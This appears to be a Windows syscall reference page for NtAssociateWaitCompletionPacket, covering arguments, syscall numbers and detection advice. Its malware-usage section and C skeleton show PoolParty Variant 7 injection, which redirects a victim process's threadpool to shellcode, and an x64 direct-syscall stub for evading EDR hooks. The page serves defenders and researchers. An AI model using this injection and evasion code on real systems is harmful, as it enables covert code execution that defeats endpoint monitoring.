NtAssociateWaitCompletionPacket
Binds a wait-completion packet to a dispatcher object so its signal posts an entry to an IOCP.
Prototype
NTSTATUS NtAssociateWaitCompletionPacket( HANDLE WaitCompletionPacketHandle, HANDLE IoCompletionHandle, HANDLE TargetObjectHandle, PVOID KeyContext, PVOID ApcContext, NTSTATUS IoStatus, ULONG_PTR IoStatusInformation, PBOOLEAN AlreadySignaled );
Arguments
| Name | Type | Dir | Description |
|---|---|---|---|
| WaitCompletionPacketHandle | HANDLE | in | Handle to a wait-completion packet from NtCreateWaitCompletionPacket. |
| IoCompletionHandle | HANDLE | in | Handle to the IOCP that will receive a completion entry when the dispatcher signals. |
| TargetObjectHandle | HANDLE | in | Dispatcher object to wait on — event, semaphore, mutant, timer, or process/thread handle. |
| KeyContext | PVOID | in | Completion-key value delivered as lpCompletionKey to GetQueuedCompletionStatus. |
| ApcContext | PVOID | in | OVERLAPPED pointer reported back to the IOCP consumer; threadpool stores its callback context here. |
| IoStatus | NTSTATUS | in | Status value to place in the IO_STATUS_BLOCK.Status of the resulting completion entry. |
| IoStatusInformation | ULONG_PTR | in | Information value (bytes transferred / arbitrary scalar) for IO_STATUS_BLOCK.Information. |
| AlreadySignaled | PBOOLEAN | out | Set to TRUE if the dispatcher was already signaled at association time (completion was queued immediately). |
Syscall IDs by Windows version
| Windows version | Syscall ID | Build |
|---|---|---|
| Win10 1507 | 0x8C | win10-1507 |
| Win10 1607 | 0x8C | win10-1607 |
| Win10 1703 | 0x8D | win10-1703 |
| Win10 1709 | 0x8D | win10-1709 |
| Win10 1803 | 0x8E | win10-1803 |
| Win10 1809 | 0x8E | win10-1809 |
| Win10 1903 | 0x8E | win10-1903 |
| Win10 1909 | 0x8E | win10-1909 |
| Win10 2004 | 0x90 | win10-2004 |
| Win10 20H2 | 0x90 | win10-20h2 |
| Win10 21H1 | 0x90 | win10-21h1 |
| Win10 21H2 | 0x90 | win10-21h2 |
| Win10 22H2 | 0x90 | win10-22h2 |
| Win11 21H2 | 0x90 | win11-21h2 |
| Win11 22H2 | 0x90 | win11-22h2 |
| Win11 23H2 | 0x90 | win11-23h2 |
| Win11 24H2 | 0x92 | win11-24h2 |
| Server 2016 | 0x8C | winserver-2016 |
| Server 2019 | 0x8E | winserver-2019 |
| Server 2022 | 0x90 | winserver-2022 |
| Server 2025 | 0x92 | winserver-2025 |
Kernel module
Related APIs
Syscall stub
4C 8B D1 mov r10, rcx B8 92 00 00 00 mov eax, 0x92 ; Win11 24H2 SSN F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Undocumented notes
The eight-argument workhorse behind `CreateThreadpoolWait` / `SetThreadpoolWait`. After ntdll creates a packet with `NtCreateWaitCompletionPacket`, it calls `NtAssociateWaitCompletionPacket` to glue the packet to (a) the IOCP that backs the threadpool worker factory and (b) the dispatcher object the user-mode code wants to wait on. When the dispatcher signals, the kernel posts an `(IoStatus, IoStatusInformation, KeyContext, ApcContext)` quadruple into the IOCP — `GetQueuedCompletionStatus` then dequeues it on a worker thread, which `ntdll!TppWaitpCallbackEpilog` routes to the user's `WAITORTIMERCALLBACK`. The interesting parameters from an attacker's perspective are `KeyContext` and `ApcContext`: both are forwarded *unchecked* from user mode into kernel-issued IOCP entries.
Common malware usage
Heart of **PoolParty Variant 7 — "Worker Factory via Wait Completion"** (SafeBreach Labs, Black Hat EU 2023). The technique: duplicate the target process's threadpool IOCP and an existing `WAIT_COMPLETION_PACKET` into the attacker's process, then call `NtAssociateWaitCompletionPacket` with crafted `KeyContext`/`ApcContext`/`IoStatusInformation` values that, when `ntdll!TppWorkerThread` in the target consumes the forged completion, are interpreted as a `_TP_WAIT*` whose callback pointer aims at attacker-controlled shellcode already mapped into the target. Because the IOCP completion is *kernel-posted*, EDR user-mode hooks on `QueueUserAPC`, `CreateRemoteThread`, `NtSetIoCompletion`, etc., never observe the moment of dispatch — the worker thread "naturally" wakes up. The technique works across PPL boundaries that block APC and CRT injection.
Detection opportunities
Cross-process handle duplication of `WaitCompletionPacket` or `IoCompletion` objects (Sysmon Event 10 with object-type telemetry, or kernel-mode `ObRegisterCallbacks` on `*ObjectType` for these classes) is the upstream signal. Downstream, EDRs that periodically walk `_TP_POOL → _TP_WAIT → Callback` lists in instrumented processes and validate that callback addresses point into known modules (not into anonymous RWX VADs) will catch the dispatch. ETW Microsoft-Windows-Threading does not natively cover this. Forensically, a `WAIT_COMPLETION_PACKET` in process A whose `TargetObject` field points at an object in process B is pathognomonic of the technique.
Direct syscall examples
cPoolParty Variant 7 skeleton
// Assumes earlier steps duplicated hVictimIocp and hVictimPacket from
// the target process into our own, and shellcodeRemoteVA is RX in the target.
BOOLEAN alreadySignaled = FALSE;
// KeyContext/ApcContext are forwarded raw — used by ntdll!TppWorkerThread
// to locate a _TP_WAIT whose Callback we already overwrote to shellcodeRemoteVA.
PVOID keyContext = (PVOID)pForgedTpWaitInTarget;
PVOID apcContext = (PVOID)pForgedOverlappedInTarget;
NTSTATUS st = NtAssociateWaitCompletionPacket(
hVictimPacket,
hVictimIocp,
hSignaledEvent, // any already-signaled event we own
keyContext,
apcContext,
STATUS_SUCCESS,
0,
&alreadySignaled);
// At this point the kernel posts a completion into the *victim's* IOCP.
// The victim's threadpool worker thread wakes naturally and dispatches
// into shellcodeRemoteVA — no APC, no CreateRemoteThread, no NtSetContext.cLegitimate threadpool-style use
// Roughly what ntdll!TpAllocWait + TpSetWait do internally.
HANDLE hPacket = NULL;
OBJECT_ATTRIBUTES oa = { sizeof(oa) };
NtCreateWaitCompletionPacket(&hPacket, GENERIC_ALL, &oa);
BOOLEAN already = FALSE;
NtAssociateWaitCompletionPacket(
hPacket,
hThreadpoolIocp, // pool's internal IOCP
hUserEvent, // what the user wants to wait on
(PVOID)pTpWait, // identifies our _TP_WAIT for dispatch
(PVOID)&tpWait->Overlapped,
STATUS_SUCCESS, 0,
&already);asmx64 direct stub
; NtAssociateWaitCompletionPacket direct syscall (Win11 24H2 SSN 0x92)
; 8 args: 4 in RCX/RDX/R8/R9, the remaining 4 spilled on the stack at [rsp+28h..40h].
NtAssociateWaitCompletionPacket PROC
mov r10, rcx
mov eax, 92h
syscall
ret
NtAssociateWaitCompletionPacket ENDPMITRE ATT&CK mappings
Last verified: 2026-05-20